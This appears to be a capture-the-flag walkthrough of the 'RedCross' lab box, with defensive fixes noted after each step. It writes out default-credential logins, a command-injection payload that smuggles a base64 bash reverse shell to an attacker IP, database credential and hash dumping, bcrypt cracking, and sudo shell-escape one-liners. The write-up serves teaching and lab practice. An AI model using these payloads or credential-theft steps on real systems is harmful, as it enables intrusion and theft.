RedCross
Summary
I performed a full TCP port scan and discovered that two Apache virtual hosts — an intranet portal (intra.redcross.htb) and an IT administration panel (admin.redcross.htb) — both accepted the factory-default credential pair guest/guest. Authenticated access to the admin panel exposed a firewall rule-management feature that passed a caller-supplied IP-address value unsanitized into a backend shell command. Submitting a base64-encoded reverse shell as that value caused the server to execute it and call back to my listener, delivering a shell as the web-server process (www-data).
From that foothold, PHP source files in the web root revealed plaintext PostgreSQL credentials. Those credentials were used to connect to the local database instance and dump bcrypt-hashed passwords for system accounts, including perez2. The hash was cracked offline with a common wordlist, yielding the plaintext password.
SSH authentication as perez2 succeeded, and the account was found to hold unrestricted sudo rights — I used sudo to read both the user and root flags, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for perez2>"Some commands also carry a value in angle brackets — <db_name>, <db_user>, <perez2_bcrypt_hash> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Full TCP scan with service version detection; confirms 22, 80, 443, 1025.
$ nmap -Pn -p- --min-rate 2000 -T4 -sV $TARGETPin all discovered virtual hosts in local DNS so subsequent curl/browser requests route correctly.
$ echo "$TARGET redcross.htb intra.redcross.htb admin.redcross.htb" | sudo tee -a /etc/hostsInspect TLS certificate to confirm and enumerate virtual host names from SANs.
$ openssl s_client -connect $TARGET:443 -servername redcross.htb </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A5 'Subject Alternative'Exact commands 2
Log in to the intranet portal; authenticated session cookie saved to intra.cookies.
$ curl -sk -c intra.cookies -b intra.cookies -X POST 'https://intra.redcross.htb/pages/actions.php' -d 'user=guest&pass=guest&action=login' -D -Log in to the IT admin panel; authenticated session cookie saved to admin.cookies.
$ curl -sk -c admin.cookies -b admin.cookies -X POST 'https://admin.redcross.htb/pages/actions.php' -d 'user=guest&pass=guest&action=login' -D -FixRemove factory-default accounts and enforce strong authentication on all web panelsCritical
Exact commands 4
Start the reverse-shell listener on my machine before submitting the payload.
$ nc -lvnp 4446Base64-encode the reverse shell; replace $ATTACKER_IP with your listener IP.
$ PAYLOAD=$(echo -n "bash -i >& /dev/tcp/$ATTACKER_IP/4446 0>&1" | base64 -w0)Submit the firewall allow-rule with the injected payload as the IP value.
$ curl -sk -b admin.cookies 'https://admin.redcross.htb/pages/actions.php' --data-urlencode 'action=allow' --data-urlencode "ip=1.2.3.4|echo ${PAYLOAD}|base64 -d|bash"Confirm execution context on the caught shell — expect www-data@redcross.
$ id; whoami; hostname; pwd
uid=33(www-data) gid=33(www-data)FixEliminate OS command injection by never concatenating user input into shell commandsCritical
Exact commands 4
Locate PHP files containing PostgreSQL connection strings.
$ find /var/www/html -name '*.php' | xargs grep -l 'pg_connect\|host=\|dbpass\|DB_PASS\|password' 2>/dev/nullExtract DB credentials from the config file; adjust the path to match the actual filename found.
$ grep -E 'host|user|pass|dbname|connect' /var/www/html/admin/init.phpList tables in the application database using the discovered credentials.
$ psql -h 127.0.0.1 -U <db_user> -d <db_name> -c '\dt'Dump usernames and password hashes; adjust table and column names to match the actual schema.
$ psql -h 127.0.0.1 -U <db_user> -d <db_name> -c 'SELECT username, passwd FROM users;'FixMove database credentials out of source files and never store system-account hashes in application databasesHigh
Exact commands 2
Save the hash dumped from the PostgreSQL query to a local file.
$ echo '<perez2_bcrypt_hash>' > hashes.txtCrack bcrypt hashes (mode 3200) against the RockYou wordlist; --force may be needed in VM environments.
$ hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --forceFixEnforce strong, unique passwords for all system accounts and disable password-based SSH where possibleHigh
Exact commands 4
SSH into the target as perez2 using the cracked password.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null perez2@$TARGETList perez2's sudo policy; expected output shows (ALL: ALL) ALL.
$ printf '%s\n' "$PASSWORD" | sudo -S -lRead user flag via sudo; actual -> <user.txt>
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 perez2@$TARGET "printf '%s\n' '$PASSWORD' | sudo -S cat /home/penelope/user.txt"Read root flag via sudo; actual -> <root.txt>
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 perez2@$TARGET "printf '%s\n' '$PASSWORD' | sudo -S cat /root/root.txt"FixRestrict sudo rights to the minimum commands each account legitimately requiresCritical
Attack patterns used
The transferable techniques behind this compromise.
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.38 |
| 443/tcp | ssl/http Apache httpd 2.4.38 |
| 1025/tcp | NFS-or-IIS |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.